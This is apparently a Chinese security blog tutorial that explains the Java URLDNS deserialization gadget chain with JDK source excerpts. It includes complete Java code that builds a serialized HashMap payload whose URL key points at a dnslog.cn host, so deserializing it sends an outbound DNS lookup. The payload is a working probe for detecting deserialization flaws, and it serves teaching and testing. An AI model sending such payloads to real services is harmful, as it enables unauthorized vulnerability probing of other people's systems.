【java安全】URL链拆解

java安全-反序列化-URL链拆解

URLDNS 链是 Java 反序列化中最基础、最经典的利用链之一,核心特点是不依赖第三方库、仅使用 JDK 原生类,且利用 DNS 请求来验证反序列化触发(无代码执行,仅用于探测是否存在反序列化漏洞)。本文从原理、断点调试、手动构造三个维度彻底解析 URLDNS 链。

URLDNS 链核心原理

1. 核心触发逻辑

URLDNS 链的本质是利用HashMap的反序列化机制,触发URL类的hashCode()方法,进而发起 DNS 请求。核心调用链:

复制代码
HashMap.readObject() → HashMap.hash() → URL.hashCode() → URLStreamHandler.hashCode() → InetAddress.getByName() (DNS解析)

2. 关键类 / 方法说明

类 / 方法 作用
HashMap 反序列化入口,readObject方法会遍历恢复键值对,触发键的hashCode()
URL 核心触发类,hashCode()方法会调用handler.hashCode()发起 DNS 请求
URLStreamHandler URL的内部类,实际执行 DNS 解析的逻辑
InetAddress.getByName() JDK 底层方法,发起 DNS A/AAAA 记录查询(核心 DNS 请求触发点)

3. 源码分析

在反序列化时,先会调用HashMap#readObject()方法

java 复制代码
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

最后循环取出键值,然后调用

java 复制代码
putVal(hash(key), key, value, false, false);

这里调用了HashMap.hash()

java 复制代码
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

当key变量类型为URL时,会调用URL.hashCode(),不过需要满足条件key不等于null

java 复制代码
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

想使得执行

java 复制代码
 hashCode = handler.hashCode(this);

必须满足条件hashCode等于1

handler.hashCode(this) 就是执行了URLStreamHandler.hashCode()方法

这下面就有这样一行代码

java 复制代码
InetAddress addr = getHostAddress(u);

getHostAddress()方法就会使得发起DNS解析请求

4. 手搓URLDNS链

通过类反射

java 复制代码
package com.qdy;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSDebug {
    // 序列化方法:修复hashCode+hostAddress双重置
    public static void serUrlDns() throws Exception {
        // 构造恶意HashMap,key为URL(指向DNSLog地址)
        HashMap<URL, String> hashMap = new HashMap<>();
        String dnsLog = "fdw8yb.dnslog.cn";
        URL url = new URL("http://" + dnsLog);
        Class<?> urlClass = URL.class;
        // 通过反射修改URL的hashCode为非-1后再上传HashMap中(避免提前触发)
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);
        // 将dnslog地址以key传入,值随意
        hashMap.put(url, null);
        // 上传后再将hashCode改为适配条件的值:-1
        hashCodeField.set(url,-1);
        // 序列化
        try (FileOutputStream fos = new FileOutputStream("urldns.ser");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(hashMap);
            System.out.println("序列化至文件成功");
        }
    }

    // 反序列化方法
    public static void deserUrlDns() throws Exception {
        try (FileInputStream fis = new FileInputStream("urldns.ser");
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            ois.readObject(); // 此处必触发DNS
        }
        System.out.println("反序列化完成,查看DNSLog");
    }

    public static void main(String[] args) throws Exception {
        serUrlDns();
//      deserUrlDns();
    }
}

运行后成功生成该链到urldns.ser文件内

然后执行反序列化

成功

相关推荐
程序员清洒1 天前
CANN模型安全:从对抗防御到隐私保护的全栈安全实战
人工智能·深度学习·安全
Anastasiozzzz1 天前
Java Lambda 揭秘:从匿名内部类到底层原理的深度解析
java·开发语言
骇客野人1 天前
通过脚本推送Docker镜像
java·docker·容器
刘琦沛在进步1 天前
【C / C++】引用和函数重载的介绍
c语言·开发语言·c++
秋邱1 天前
不仅是极速:从 CANN SHMEM 看 AIGC 集群通信的“安全微操”艺术
安全·aigc
初恋叫萱萱1 天前
CANN 生态安全加固指南:构建可信、鲁棒、可审计的边缘 AI 系统
人工智能·安全
机器视觉的发动机1 天前
AI算力中心的能耗挑战与未来破局之路
开发语言·人工智能·自动化·视觉检测·机器视觉
铁蛋AI编程实战1 天前
通义千问 3.5 Turbo GGUF 量化版本地部署教程:4G 显存即可运行,数据永不泄露
java·人工智能·python
HyperAI超神经1 天前
在线教程|DeepSeek-OCR 2公式/表格解析同步改善,以低视觉token成本实现近4%的性能跃迁
开发语言·人工智能·深度学习·神经网络·机器学习·ocr·创业创新
晚霞的不甘1 天前
CANN 编译器深度解析:UB、L1 与 Global Memory 的协同调度机制
java·后端·spring·架构·音视频